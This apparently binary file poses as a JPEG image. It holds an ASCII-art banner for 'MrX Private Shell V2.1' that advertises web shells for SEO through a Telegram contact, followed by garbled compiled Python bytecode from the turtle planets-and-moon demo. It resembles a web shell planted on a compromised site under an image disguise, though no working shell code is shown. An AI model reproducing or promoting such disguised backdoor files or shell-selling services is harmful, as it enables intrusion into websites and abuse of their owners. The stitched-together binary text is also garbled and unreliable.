����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
�֦i � �~ � d Z ddlmZmZmZmZ dZ G d� de� Z G d� de� Z
d� Zed k( r e� e� y
y
)a� turtle-example-suite:
tdemo_planets_and_moon.py
Gravitational system simulation using the
approximation method from Feynman-lectures,
p.9-8, using turtlegraphics.
Example: heavy central body, light planet,
very light moon!
Planet has a circular orbit, moon a stable
orbit around the planet.
You can hold the movement temporarily by
pressing the left mouse button with the
mouse over the scrollbar of the canvas.
� )�Shape�Turtle�mainloop�Vec2D� c � � e Zd Zd� Zd� Zd� Zy)�GravSysc �. � g | _ d| _ d| _ y )Nr g{�G�z�?)�planets�t�dt)�selfs �3/usr/lib64/python3.12/turtledemo/planet_and_moon.py�__init__zGravSys.__init__ s � ���������� c �F � | j D ] }|j � � y )N)r �init)r �ps r r zGravSys.init s � ����A�
�F�F�H� r c � � t d� D ]B }| xj | j z
c_ | j D ] }|j � � �D y )Ni'